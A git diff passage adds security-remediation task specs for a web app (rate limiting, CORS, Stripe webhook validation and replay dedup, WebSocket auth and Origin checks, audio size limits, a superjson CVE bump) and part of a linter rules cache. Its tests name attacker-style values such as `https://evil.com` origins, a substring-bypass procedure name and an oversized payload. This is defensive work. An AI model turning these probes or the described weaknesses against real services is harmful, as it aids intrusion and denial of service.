2. Review the tRPC router definitions to identify all expensive procedures:
|
||||
- `darkwatch.runScan` (external API calls: HIBP, SecurityTrails, Censys, Shodan)
|
||||
- `voiceprint.analyzeAudio` (300MB+ memory per request)
|
||||
- Any other CPU/memory/network-intensive procedures
|
||||
3. Replace `sensitivePaths.some(p => path.includes(p))` with exact procedure name matching using a `Set` of full procedure paths (e.g., `darkwatch.runScan`)
|
||||
4. Define appropriate rate limits per procedure category:
|
||||
- Auth operations: 3/hr (existing)
|
||||
- Darkwatch scans: 5/hr (expensive external API calls)
|
||||
- VoicePrint analysis: 10/hr (high memory usage)
|
||||
- Default protected: 100/min (existing)
|
||||
5. Update `protectedProcedure` configuration at `web/src/server/api/utils.ts:23-28` if needed
|
||||
|
||||
tests:
|
||||
- Unit: Exact procedure name matching correctly identifies `darkwatch.runScan` as sensitive
|
||||
- Unit: Substring attacks like `darkwatch.runScanLike` do not trigger sensitive tier
|
||||
- Unit: `voiceprint.analyzeAudio` is classified as sensitive
|
||||
- Unit: Auth procedures (`login`, `signup`) still match the sensitive tier
|
||||
- Integration: Rapid fire requests to `darkwatch.runScan` are rate-limited at the sensitive tier
|
||||
|
||||
acceptance_criteria:
|
||||
- Rate limiter uses exact procedure name matching (not substring)
|
||||
- All expensive procedures are in the sensitive operation list
|
||||
- Different sensitive procedures can have different rate limits
|
||||
- Existing rate limits for auth operations are preserved
|
||||
- No false positives from substring matching
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Send rapid requests to `darkwatch.runScan` and verify rate limiting kicks in at the sensitive tier
|
||||
- Verify `darkwatch.runScanLike` (non-existent) does not trigger sensitive tier
|
||||
|
||||
notes:
|
||||
- Finding p8-004: The current substring heuristic (`path.includes(p)`) is too broad and incomplete
|
||||
- Consider a tiered approach: `sensitive` (3/hr), `expensive` (10/hr), `standard` (100/min)
|
||||
- Review all router definitions to ensure no new expensive procedures are missed
|
||||
@@ -0,0 +1,51 @@
|
||||
# 05. Fix CORS origin trust from unvalidated APP_URL env var
|
||||
|
||||
meta:
|
||||
id: security-fixes-05
|
||||
feature: security-fixes
|
||||
priority: P1
|
||||
depends_on: []
|
||||
tags: [implementation, tests-required, medium-severity]
|
||||
|
||||
objective:
|
||||
- Validate APP_URL before trusting it as a CORS origin to prevent arbitrary origin injection
|
||||
|
||||
deliverables:
|
||||
- APP_URL validation in CORS middleware at `web/src/middleware.ts`
|
||||
- Domain pattern validation for environment-sourced CORS origins
|
||||
- Unit tests for CORS origin validation
|
||||
|
||||
steps:
|
||||
1. Examine the CORS middleware at `web/src/middleware.ts:22-30`
|
||||
2. Create a `validateCorsOrigin(origin: string): boolean` function that:
|
||||
- Parses the origin URL and validates the hostname format
|
||||
- Rejects wildcard patterns (`*`), empty origins, and non-HTTP(S) schemes
|
||||
- Optionally checks against a known domain allowlist
|
||||
3. Add validation of `process.env.APP_URL` before adding it to `allowedOrigins`
|
||||
4. Add a fallback: if APP_URL is missing or invalid, log a warning and exclude it from allowed origins
|
||||
5. Consider adding a `VALID_CORS_ORIGINS` env var for explicit allowlist configuration
|
||||
|
||||
tests:
|
||||
- Unit: `validateCorsOrigin` accepts `https://app.kordant.com` (valid HTTPS origin)
|
||||
- Unit: `validateCorsOrigin` rejects `*` (wildcard)
|
||||
- Unit: `validateCorsOrigin` rejects `evil.com` (missing scheme)
|
||||
- Unit: `validateCorsOrigin` rejects empty string and whitespace
|
||||
- Unit: `validateCorsOrigin` rejects `http://localhost:9999` if not in the allowlist (configurable)
|
||||
- Integration: CORS middleware does not add invalid APP_URL to allowed origins
|
||||
|
||||
acceptance_criteria:
|
||||
- APP_URL is validated before being added to CORS allowed origins
|
||||
- Invalid or missing APP_URL is excluded with a warning logged
|
||||
- Wildcard origins are rejected
|
||||
- Legitimate HTTPS origins are accepted
|
||||
- No regression in existing CORS behavior for localhost and configured domains
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Set `APP_URL=evil.com` and verify it is not added to allowed origins
|
||||
- Set `APP_URL=https://app.kordant.com` and verify it is accepted
|
||||
|
||||
notes:
|
||||
- Finding p8-005: The current code trusts `process.env.APP_URL` without any validation
|
||||
- If APP_URL is set at deployment time (e.g., in a Docker env file), the risk is lower but still present if the deployment pipeline is compromised
|
||||
- Consider using a structured env var like `CORS_ORIGINS=https://app.kordant.com,https://admin.kordant.com` instead
|
||||
53
tasks/security-fixes/06-fix-webhook-type-coercion.md
Normal file
53
tasks/security-fixes/06-fix-webhook-type-coercion.md
Normal file
@@ -0,0 +1,53 @@
|
||||
# 06. Fix webhook type coercion bypassing TypeScript safety
|
||||
|
||||
meta:
|
||||
id: security-fixes-06
|
||||
feature: security-fixes
|
||||
priority: P1
|
||||
depends_on: []
|
||||
tags: [implementation, tests-required, medium-severity]
|
||||
|
||||
objective:
|
||||
- Replace unsafe type coercion in the Stripe webhook handler with field-level validation using valibot schemas
|
||||
|
||||
deliverables:
|
||||
- Valibot schemas for Stripe webhook event data (subscription, invoice, checkout)
|
||||
- Updated `billing.service.ts` with validated data extraction instead of `as unknown as Record<string, unknown>`
|
||||
- Unit tests for webhook data validation including malformed payloads
|
||||
|
||||
steps:
|
||||
1. Examine webhook handler at `web/src/server/services/billing.service.ts:173, 196, 207` (type coercion points) and `updateSubscriptionInDB()` at lines 115-132
|
||||
2. Define valibot schemas for each webhook event type:
|
||||
- `CheckoutSessionCompletedSchema`: `subscription_id`, `customer_id`, `price_id`, etc.
|
||||
- `SubscriptionUpdatedSchema`: `current_period_start`, `current_period_end`, `status`, etc.
|
||||
- `InvoicePaidSchema`: `subscription_id`, `amount_paid`, etc.
|
||||
- `SubscriptionDeletedSchema`: `subscription_id`, `cancel_at_period_end`, etc.
|
||||
3. Replace `as unknown as Record<string, unknown>` casts with `safeParseEvent(event, schema)` that validates and returns typed data or an error
|
||||
4. Add error handling: log and return early if webhook data fails validation (Stripe may retry)
|
||||
5. Ensure `updateSubscriptionInDB()` receives only validated, typed data
|
||||
|
||||
tests:
|
||||
- Unit: Valid subscription event data passes validation and produces correct typed output
|
||||
- Unit: Missing `current_period_start` produces a validation error (not `NaN`)
|
||||
- Unit: Wrong type for `current_period_start` (string instead of number) produces a validation error
|
||||
- Unit: Empty event data produces a validation error
|
||||
- Unit: Extra unexpected fields do not cause the handler to crash
|
||||
- Integration: Webhook endpoint returns 200 for valid events and handles invalid events gracefully
|
||||
|
||||
acceptance_criteria:
|
||||
- No `as unknown as Record<string, unknown>` casts remain in the webhook handler
|
||||
- All webhook event data is validated against valibot schemas before use
|
||||
- Invalid data produces a logged error and early return (not stored in the database)
|
||||
- `NaN` dates and `undefined` fields are caught by validation
|
||||
- All existing webhook event types have corresponding schemas
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Send a malformed webhook event (missing required fields) and verify it is rejected
|
||||
- Send a valid webhook event and verify it is processed correctly
|
||||
|
||||
notes:
|
||||
- Finding p8-006: The chained `as unknown as` casts bypass TypeScript type safety
|
||||
- Stripe webhook events have a well-defined schema — use Stripe's TypeScript types as a reference
|
||||
- Consider using Stripe's `LineItem` and `Subscription` types to derive the valibot schemas
|
||||
- This fix is a prerequisite for task 07 (webhook replay dedup) since validated data shapes are needed
|
||||
57
tasks/security-fixes/07-fix-webhook-replay-missing-dedup.md
Normal file
57
tasks/security-fixes/07-fix-webhook-replay-missing-dedup.md
Normal file
@@ -0,0 +1,57 @@
|
||||
# 07. Fix webhook replay via missing event ID deduplication
|
||||
|
||||
meta:
|
||||
id: security-fixes-07
|
||||
feature: security-fixes
|
||||
priority: P1
|
||||
depends_on: [security-fixes-06]
|
||||
tags: [implementation, tests-required, medium-severity, database-migration]
|
||||
|
||||
objective:
|
||||
- Prevent Stripe webhook replay attacks by implementing event ID deduplication for all event types
|
||||
|
||||
deliverables:
|
||||
- New database table for webhook event ID tracking (via Drizzle migration)
|
||||
- Updated webhook handler at `web/src/routes/api/stripe/webhook.ts` to check and record event IDs
|
||||
- Updated `billing.service.ts` to use the deduplication mechanism
|
||||
- Unit and integration tests for replay detection
|
||||
|
||||
steps:
|
||||
1. Create a Drizzle migration to add a `stripe_webhook_events` table:
|
||||
- `id` (TEXT, primary key, stores Stripe `event.id`)
|
||||
- `type` (TEXT, event type like `invoice.paid`)
|
||||
- `processed_at` (DATETIME, timestamp)
|
||||
- Consider adding a TTL/cleanup mechanism for old records
|
||||
2. Update `web/src/routes/api/stripe/webhook.ts:18-21` to check the event ID against the table before processing
|
||||
3. For each event type (`checkout.session.completed`, `invoice.paid`, `invoice.payment_failed`, `customer.subscription.updated`, `customer.subscription.deleted`):
|
||||
- Check if `event.id` already exists in the table
|
||||
- If yes, log and return early (idempotent replay)
|
||||
- If no, insert the event ID and proceed with processing
|
||||
4. Ensure the insert uses `onConflictDoNothing()` or a unique constraint to handle race conditions
|
||||
5. Add a cleanup job or TTL to prevent unbounded table growth (e.g., delete events older than 30 days)
|
||||
|
||||
tests:
|
||||
- Unit: Duplicate event ID returns early without re-processing
|
||||
- Unit: New event ID is inserted and processing continues
|
||||
- Unit: Race condition (two identical events arrive simultaneously) is handled by unique constraint
|
||||
- Integration: Sending the same webhook event twice results in only one processing
|
||||
- Integration: Different event types with the same ID are handled correctly (should not happen in practice but test the constraint)
|
||||
|
||||
acceptance_criteria:
|
||||
- All webhook event types check for duplicate event IDs before processing
|
||||
- Duplicate events are logged and skipped without re-processing
|
||||
- Race conditions are handled by database constraints (unique index on event ID)
|
||||
- Old event IDs are cleaned up to prevent unbounded table growth
|
||||
- No regression in existing webhook processing behavior
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Run the Drizzle migration and verify the `stripe_webhook_events` table exists
|
||||
- Send the same webhook event twice and verify only the first is processed
|
||||
- Check the database to confirm the event ID was recorded
|
||||
|
||||
notes:
|
||||
- Finding p8-007: Only `checkout.session.completed` currently has partial dedup via `onConflictDoNothing()`
|
||||
- Depends on task 06 because validated data shapes from that fix are needed for the dedup logic
|
||||
- Stripe guarantees event IDs are unique, so the event ID is a safe dedup key
|
||||
- Consider a background job or cron to clean up old event IDs (e.g., older than 30 days)
|
||||
@@ -0,0 +1,60 @@
|
||||
# 08. Fix WebSocket JWT leakage via query parameter
|
||||
|
||||
meta:
|
||||
id: security-fixes-08
|
||||
feature: security-fixes
|
||||
priority: P1
|
||||
depends_on: []
|
||||
tags: [implementation, tests-required, medium-severity]
|
||||
|
||||
objective:
|
||||
- Move WebSocket JWT authentication from query parameter to Authorization header to prevent token leakage in logs
|
||||
|
||||
deliverables:
|
||||
- Updated `getTokenFromRequest()` at `web/src/server/websocket.ts:39-43` to read from Authorization header
|
||||
- Updated WebSocket client code to send JWT in the Authorization header
|
||||
- Backward compatibility during transition period (optional)
|
||||
- Unit tests for token extraction from headers
|
||||
|
||||
steps:
|
||||
1. Examine `web/src/server/websocket.ts:39-43` (`getTokenFromRequest`) and `web/src/server/websocket.ts:56-67` (authentication flow)
|
||||
2. Update `getTokenFromRequest()` to:
|
||||
- First check the `Authorization` header for a Bearer token (`Authorization: Bearer <jwt>`)
|
||||
- Fall back to `?token=` query parameter with a deprecation warning (optional, for backward compatibility)
|
||||
- Return `null` if neither is present
|
||||
3. Update the WebSocket client (browser app and extension) to:
|
||||
- Include the JWT in a custom header: `new WebSocket(url, { headers: { Authorization: `Bearer ${token}` } })`
|
||||
- Note: The WebSocket constructor doesn't support custom headers in browsers; use the `verifyClient` callback on the server side to read headers from the upgrade request
|
||||
- Alternative: Use an HTTP handshake approach or pass the token in a message after connection (with a timeout)
|
||||
4. If browser WebSocket API limitations prevent header-based auth, implement a post-connection authentication message with a timeout (e.g., client must send `{type: "auth", token: "..."}` within 5 seconds)
|
||||
5. Update `web/src/server/websocket.ts:80-102` (connection handler) to enforce the new auth flow
|
||||
|
||||
tests:
|
||||
- Unit: `getTokenFromRequest()` extracts token from Authorization header
|
||||
- Unit: `getTokenFromRequest()` rejects connections without a token
|
||||
- Unit: Query parameter fallback (if implemented) logs a deprecation warning
|
||||
- Integration: WebSocket connection with valid Bearer token is authenticated
|
||||
- Integration: WebSocket connection without a token is rejected
|
||||
|
||||
acceptance_criteria:
|
||||
- JWT is no longer passed in the query parameter by default
|
||||
- Server accepts JWT from Authorization header (or post-connection auth message if browser limitation requires it)
|
||||
- Connections without authentication are rejected
|
||||
- No JWT tokens appear in server access logs or proxy logs
|
||||
- Backward compatibility is handled (if implemented) with a deprecation path
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Connect via WebSocket with a valid token in the expected location and verify authentication succeeds
|
||||
- Connect without a token and verify the connection is rejected
|
||||
- Check server logs to confirm JWT tokens are not visible in URLs
|
||||
|
||||
notes:
|
||||
- Finding p8-008: The browser WebSocket API does not support custom headers in the constructor
|
||||
- Recommended approach: Post-connection authentication message with a server-side timeout
|
||||
1. Client connects without token
|
||||
2. Server allows the connection but marks it as unauthenticated
|
||||
3. Client sends `{type: "auth", token: "..."}` within 5 seconds
|
||||
4. Server validates the token and upgrades the connection
|
||||
5. Unauthenticated connections are closed after the timeout
|
||||
- This approach avoids JWT in URLs and works with the browser WebSocket API
|
||||
55
tasks/security-fixes/09-fix-websocket-origin-validation.md
Normal file
55
tasks/security-fixes/09-fix-websocket-origin-validation.md
Normal file
@@ -0,0 +1,55 @@
|
||||
# 09. Fix WebSocket no Origin header validation
|
||||
|
||||
meta:
|
||||
id: security-fixes-09
|
||||
feature: security-fixes
|
||||
priority: P1
|
||||
depends_on: [security-fixes-08]
|
||||
tags: [implementation, tests-required, medium-severity]
|
||||
|
||||
objective:
|
||||
- Prevent cross-origin WebSocket connections by validating the Origin header during the upgrade handshake
|
||||
|
||||
deliverables:
|
||||
- `verifyClient` callback on the WebSocket server that validates the Origin header
|
||||
- Configurable allowlist of trusted origins for WebSocket connections
|
||||
- Unit tests for Origin validation
|
||||
|
||||
steps:
|
||||
1. Examine `web/src/server/websocket.ts:80-102` (WebSocketServer constructor and connection handler)
|
||||
2. Add a `verifyClient` callback to the `WebSocketServer` constructor:
|
||||
- Extract the `Origin` header from the upgrade request
|
||||
- Validate against a trusted origins allowlist (derived from `APP_URL` and localhost)
|
||||
- Reject connections with missing or untrusted Origin headers
|
||||
3. Define the trusted origins allowlist:
|
||||
- `http://localhost:3000`, `http://localhost:3001` (development)
|
||||
- `APP_URL` (production, validated per task 05)
|
||||
- Optional: `VALID_WEBSOCKET_ORIGINS` env var for explicit configuration
|
||||
4. Ensure the Origin validation works with the post-connection auth flow from task 08
|
||||
5. Log rejected connections for monitoring
|
||||
|
||||
tests:
|
||||
- Unit: Connection from trusted origin (`localhost:3000`) is accepted
|
||||
- Unit: Connection from untrusted origin (`https://evil.com`) is rejected
|
||||
- Unit: Connection without an Origin header is rejected
|
||||
- Integration: WebSocket connection from a trusted page succeeds
|
||||
- Integration: WebSocket connection initiated from an untrusted page (via `<script>`) is rejected
|
||||
|
||||
acceptance_criteria:
|
||||
- WebSocket server validates the Origin header during the upgrade handshake
|
||||
- Connections from untrusted origins are rejected before authentication
|
||||
- Trusted origins include localhost (dev) and APP_URL (production)
|
||||
- Missing Origin headers are rejected
|
||||
- The Origin validation complements the JWT authentication from task 08
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Connect from a trusted origin and verify the connection is accepted
|
||||
- Attempt to connect from an untrusted origin and verify it is rejected
|
||||
- Check server logs for rejected connection entries
|
||||
|
||||
notes:
|
||||
- Finding p8-009: The WebSocket server on port 3001 has no Origin validation
|
||||
- Depends on task 08 because the authentication flow needs to be established first
|
||||
- The `verifyClient` callback receives `{ origin, req, secure }` — use `origin` for validation
|
||||
- Combined with task 08 (JWT auth), this closes the complete authentication bypass chain
|
||||
@@ -0,0 +1,57 @@
|
||||
# 10. Fix VoicePrint resource exhaustion via unbounded audio upload
|
||||
|
||||
meta:
|
||||
id: security-fixes-10
|
||||
feature: security-fixes
|
||||
priority: P1
|
||||
depends_on: []
|
||||
tags: [implementation, tests-required, medium-severity]
|
||||
|
||||
objective:
|
||||
- Prevent memory exhaustion by enforcing maximum payload size on VoicePrint audio endpoints
|
||||
|
||||
deliverables:
|
||||
- `maxLength` constraint on `AnalyzeAudioSchema` in `web/src/server/api/schemas/voiceprint.ts`
|
||||
- Request body size limit middleware for audio endpoints
|
||||
- Size validation in `voiceprint.service.ts` before base64 decoding
|
||||
- Unit tests for size limits
|
||||
|
||||
steps:
|
||||
1. Examine `AnalyzeAudioSchema` at `web/src/server/api/schemas/voiceprint.ts:8-10` and `analyzeAudio()` at `web/src/server/services/voiceprint.service.ts:135-140`
|
||||
2. Add `maxLength` to the audio schema:
|
||||
- Calculate a reasonable limit: A 60-second mono 16kHz WAV is ~1.2MB raw, ~1.6MB base64
|
||||
- Set `maxLength` to ~2MB base64 (~1.5MB raw) as a safe default
|
||||
- Consider making it configurable via an environment variable
|
||||
3. Add a request body size limit in the tRPC middleware or at the HTTP layer:
|
||||
- Reject requests with body size > configured limit before processing
|
||||
- Return a clear error message to the client
|
||||
4. Add a pre-decode size check in `analyzeAudio()`:
|
||||
- Calculate the decoded size from the base64 string length (`base64Length * 0.75`)
|
||||
- Reject if the decoded size exceeds the configured memory limit
|
||||
5. Update `protectedProcedure` rate limit for voiceprint endpoints if not already covered by task 04
|
||||
|
||||
tests:
|
||||
- Unit: `AnalyzeAudioSchema` rejects payloads exceeding `maxLength`
|
||||
- Unit: `analyzeAudio()` rejects base64 strings that would decode to > configured memory limit
|
||||
- Unit: Valid audio payloads within the limit are accepted
|
||||
- Integration: Sending a 100MB base64 payload to the audio endpoint is rejected with a size error
|
||||
- Integration: Sending a valid 30-second audio recording succeeds
|
||||
|
||||
acceptance_criteria:
|
||||
- Audio schema enforces `maxLength` on the base64 payload
|
||||
- Request body size limit middleware rejects oversized requests before processing
|
||||
- Pre-decode size check prevents memory exhaustion from valid-length but high-entropy payloads
|
||||
- Clear error messages are returned when size limits are exceeded
|
||||
- Valid audio recordings within the size limit are processed normally
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Send a base64 payload exceeding the maxLength and verify it is rejected
|
||||
- Send a valid audio recording and verify it is processed correctly
|
||||
- Verify the rate limit for voiceprint endpoints is appropriate (task 04)
|
||||
|
||||
notes:
|
||||
- Finding p8-010: A 100MB base64 payload consumes 300MB+ memory per request
|
||||
- The `protectedProcedure` rate limit (100/min) is insufficient — at 100 requests/min with 100MB payloads, that's 10GB/min of memory pressure
|
||||
- Consider streaming or chunked upload for large audio files instead of base64 in the request body
|
||||
- The maxLength should account for realistic use cases: voice biometrics typically need 3-30 seconds of audio
|
||||
47
tasks/security-fixes/11-fix-browser-ext-superjson-cve.md
Normal file
47
tasks/security-fixes/11-fix-browser-ext-superjson-cve.md
Normal file
@@ -0,0 +1,47 @@
|
||||
# 11. Fix browser extension vulnerable dependency (superjson CVE-2022-23631)
|
||||
|
||||
meta:
|
||||
id: security-fixes-11
|
||||
feature: security-fixes
|
||||
priority: P2
|
||||
depends_on: []
|
||||
tags: [dependency-update, tests-required, medium-severity]
|
||||
|
||||
objective:
|
||||
- Update the browser extension's superjson dependency to patch CVE-2022-23631 (prototype pollution → RCE)
|
||||
|
||||
deliverables:
|
||||
- Updated `browser-ext/package.json` with superjson pinned to >=2.2.6
|
||||
- Updated lock file
|
||||
- Verification that the extension still functions correctly with the updated dependency
|
||||
|
||||
steps:
|
||||
1. Examine `browser-ext/package.json:18` — current declaration is `"superjson": "^2.2.1"`
|
||||
2. Update the dependency to `"superjson": "^2.2.6"` (or latest stable version)
|
||||
3. Run `pnpm install` in the browser-ext directory to update the lock file
|
||||
4. Verify that `browser-ext/src/lib/api-client.ts` (tRPC client using superjson) still works with the updated version
|
||||
5. Check for any breaking changes in the superjson changelog between 2.2.1 and the target version
|
||||
6. Run the browser extension build to confirm no compilation errors
|
||||
|
||||
tests:
|
||||
- Unit: tRPC client serialization/deserialization works with the updated superjson version
|
||||
- Integration: Browser extension can successfully communicate with the tRPC API
|
||||
- Build: `pnpm build` in the browser-ext directory completes without errors
|
||||
|
||||
acceptance_criteria:
|
||||
- `browser-ext/package.json` declares `superjson >= 2.2.6`
|
||||
- Lock file reflects the updated version (no 2.2.1–2.2.5 range resolved)
|
||||
- Browser extension builds successfully
|
||||
- tRPC client communication works correctly with the updated dependency
|
||||
- No prototype pollution vulnerability remains (CVE-2022-23631 is fixed in >=2.2.6)
|
||||
|
||||
validation:
|
||||
- `cd browser-ext && pnpm install && pnpm build` — succeeds without errors
|
||||
- `pnpm list superjson` — shows version >= 2.2.6
|
||||
- Run the browser extension and verify API communication works
|
||||
|
||||
notes:
|
||||
- Finding p8-011: CVE-2022-23631 (CVSS 10.0) affects superjson 2.2.1–2.2.5
|
||||
- The web server is NOT affected (does not use superjson)
|
||||
- This is a quick fix — primarily a dependency version bump
|
||||
- The caret range `^2.2.1` allows 2.2.1–2.2.5; changing to `^2.2.6` ensures only patched versions are installed
|
||||
25
tasks/security-fixes/README.md
Normal file
25
tasks/security-fixes/README.md
Normal file
@@ -0,0 +1,25 @@
|
||||
# Security Fixes
|
||||
|
||||
Objective: Remediate all 11 confirmed security findings from the piolium balanced audit (1 HIGH, 10 MEDIUM).
|
||||
|
||||
Status legend: [ ] todo, [~] in-progress, [x] done
|
||||
|
||||
Tasks
|
||||
- [ ] 01 — Fix stored XSS via unsanitized innerHTML in blog rendering → `01-fix-stored-xss-blog-rendering.md`
|
||||
- [ ] 02 — Fix SSRF via Puppeteer --no-sandbox in report generation → `02-fix-puppeteer-ssrf-report-gen.md`
|
||||
- [ ] 03 — Fix open redirect via unvalidated return URL in Stripe checkout → `03-fix-open-redirect-stripe-return-url.md`
|
||||
- [ ] 04 — Fix rate limit bypass via incomplete sensitive path list → `04-fix-rate-limit-substring-bypass.md`
|
||||
- [ ] 05 — Fix CORS origin trust from unvalidated APP_URL env var → `05-fix-cors-origin-env-var-validation.md`
|
||||
- [ ] 06 — Fix webhook type coercion bypassing TypeScript safety → `06-fix-webhook-type-coercion.md`
|
||||
- [x] 07 — Fix webhook replay via missing event ID deduplication → `07-fix-webhook-replay-missing-dedup.md`
|
||||
- [x] 08 — Fix WebSocket JWT leakage via query parameter → `08-fix-websocket-jwt-query-param-leak.md`
|
||||
- [x] 09 — Fix WebSocket no Origin header validation → `09-fix-websocket-origin-validation.md`
|
||||
- [x] 10 — Fix VoicePrint resource exhaustion via unbounded audio upload → `10-fix-voiceprint-resource-exhaustion.md`
|
||||
- [x] 11 — Fix browser extension vulnerable dependency (superjson CVE-2022-23631) → `11-fix-browser-ext-superjson-cve.md`
|
||||
|
||||
Dependencies
|
||||
- 07 depends on 06 (webhook type coercion fix shares billing.service.ts; dedup needs validated data shapes)
|
||||
- 09 depends on 08 (WebSocket JWT header auth is the prerequisite for Origin validation to be meaningful)
|
||||
|
||||
Exit criteria
|
||||
- The feature is complete when all 11 findings have been remediated, each with passing tests, and no regression is introduced to the existing codebase.
|
||||
1
web/.pi-lens/cache/review-graph.json
vendored
Normal file
1
web/.pi-lens/cache/review-graph.json
vendored
Normal file
File diff suppressed because one or more lines are too long
477
web/.pi-lens/cache/typescript-rules-v2.json
vendored
Normal file
477
web/.pi-lens/cache/typescript-rules-v2.json
vendored
Normal file
@@ -0,0 +1,477 @@
|
||||
{
|
||||
"version": "v2",
|
||||
"timestamp": 1780014375470,
|
||||
"ruleHash": "a7836d13ad8f9a39",
|
||||
"queries": [
|
||||
{
|
||||
"id": "console-statement",
|
||||
"name": "Console Statement",
|
||||
"severity": "warning",
|
||||
"language": "typescript",
|
||||
"message": "{{METHOD}} — remove debug statements before committing",
|
||||
"query": " (call_expression\n function: (member_expression\n object: (identifier) @OBJ (#eq? @OBJ \"console\")\n property: (property_identifier) @METHOD (#not-eq? @METHOD \"dbg\"))\n arguments: (arguments) @ARGS)",
|
||||
"metavars": [
|
||||
"OBJ",
|
||||
"METHOD",
|
||||
"ARGS"
|
||||
],
|
||||
"post_filter": "not_in_test_block # skip test blocks — no-console-in-tests handles that case",
|
||||
"defect_class": "safety",
|
||||
"inline_tier": "warning",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/console-statement.yml"
|
||||
},
|
||||
{
|
||||
"id": "debugger-statement",
|
||||
"name": "Debugger Statement",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Debugger statement — remove before committing",
|
||||
"query": " (debugger_statement) @DEBUGGER",
|
||||
"metavars": [
|
||||
"DEBUGGER"
|
||||
],
|
||||
"defect_class": "safety",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/debugger.yml"
|
||||
},
|
||||
{
|
||||
"id": "deep-nesting",
|
||||
"name": "Deep Nesting",
|
||||
"severity": "warning",
|
||||
"language": "typescript",
|
||||
"message": "Deep nesting (3+ levels) — consider early returns or extract functions",
|
||||
"query": " [\n ;; Pattern 1: if inside if inside if\n (statement_block\n (if_statement\n consequence: (statement_block\n (if_statement\n consequence: (statement_block\n (if_statement) @IF_NESTED)))))\n\n ;; Pattern 2: for inside if inside if\n (statement_block\n (if_statement\n consequence: (statement_block\n (if_statement\n consequence: (statement_block\n (for_statement) @FOR_NESTED)))))\n\n ;; Pattern 3: while inside if inside if\n (statement_block\n (if_statement\n consequence: (statement_block\n (if_statement\n consequence: (statement_block\n (while_statement) @WHILE_NESTED)))))\n\n ;; Pattern 4: try inside if inside if\n (statement_block\n (if_statement\n consequence: (statement_block\n (if_statement\n consequence: (statement_block\n (try_statement) @TRY_NESTED)))))\n\n ;; Pattern 5: if inside for inside if\n (statement_block\n (if_statement\n consequence: (statement_block\n (for_statement\n body: (statement_block\n (if_statement) @IF_IN_FOR)))))\n\n ;; Pattern 6: if inside while inside if\n (statement_block\n (if_statement\n consequence: (statement_block\n (while_statement\n body: (statement_block\n (if_statement) @IF_IN_WHILE)))))\n\n ;; Pattern 7: for inside for inside for\n (statement_block\n (for_statement\n body: (statement_block\n (for_statement\n body: (statement_block\n (for_statement) @FOR_NESTED)))))\n ]",
|
||||
"metavars": [
|
||||
"IF_NESTED",
|
||||
"FOR_NESTED",
|
||||
"WHILE_NESTED",
|
||||
"TRY_NESTED",
|
||||
"IF_IN_FOR",
|
||||
"IF_IN_WHILE"
|
||||
],
|
||||
"defect_class": "safety",
|
||||
"inline_tier": "review",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/deep-nesting.yml"
|
||||
},
|
||||
{
|
||||
"id": "deep-promise-chain",
|
||||
"name": "Deep Promise Chain (4+ levels)",
|
||||
"severity": "warning",
|
||||
"language": "typescript",
|
||||
"message": "Promise chain {{M1}} → {{M2}} → {{M3}} → {{M4}} — consider async/await",
|
||||
"query": " (call_expression\n function: (member_expression\n object: (call_expression\n function: (member_expression\n object: (call_expression\n function: (member_expression\n object: (call_expression\n function: (member_expression\n property: (property_identifier) @M1)\n arguments: (arguments))\n property: (property_identifier) @M2)\n arguments: (arguments))\n property: (property_identifier) @M3)\n arguments: (arguments))\n property: (property_identifier) @M4)\n arguments: (arguments)\n (#match? @M1 \"^(then|catch|finally)$\")\n (#match? @M2 \"^(then|catch|finally)$\")\n (#match? @M3 \"^(then|catch|finally)$\")\n (#match? @M4 \"^(then|catch|finally)$\"))",
|
||||
"metavars": [
|
||||
"M1",
|
||||
"M2",
|
||||
"M3",
|
||||
"M4"
|
||||
],
|
||||
"defect_class": "async-misuse",
|
||||
"inline_tier": "warning",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/deep-promise-chain.yml"
|
||||
},
|
||||
{
|
||||
"id": "default-not-last",
|
||||
"name": "Default Clauses Should Be Last",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "default clause should be the last case",
|
||||
"query": " (switch_statement\n body: (switch_body\n (switch_default) @DEFAULT\n (switch_case) @AFTER_CASE))",
|
||||
"metavars": [
|
||||
"DEFAULT",
|
||||
"AFTER_CASE"
|
||||
],
|
||||
"defect_class": "correctness",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/default-not-last.yml"
|
||||
},
|
||||
{
|
||||
"id": "duplicate-function-arg",
|
||||
"name": "Function Argument Names Should Be Unique",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Duplicate parameter name '{{NAME}}'",
|
||||
"query": " (function_declaration\n parameters: (formal_parameters\n (identifier) @PARAM1\n (identifier) @PARAM2))\n (arrow_function\n parameters: (formal_parameters\n (identifier) @PARAM1\n (identifier) @PARAM2))",
|
||||
"metavars": [
|
||||
"PARAM1",
|
||||
"PARAM2"
|
||||
],
|
||||
"post_filter": "same_param_name",
|
||||
"defect_class": "correctness",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/duplicate-function-arg.yml"
|
||||
},
|
||||
{
|
||||
"id": "empty-switch-case",
|
||||
"name": "Switch Cases Should Not Be Empty",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Switch case should not be empty",
|
||||
"query": " (switch_statement\n body: (switch_body\n (switch_case\n consequence: (statement_block) @BLOCK)))",
|
||||
"metavars": [
|
||||
"BLOCK"
|
||||
],
|
||||
"post_filter": "is_empty_block",
|
||||
"defect_class": "correctness",
|
||||
"inline_tier": "blocking",
|
||||
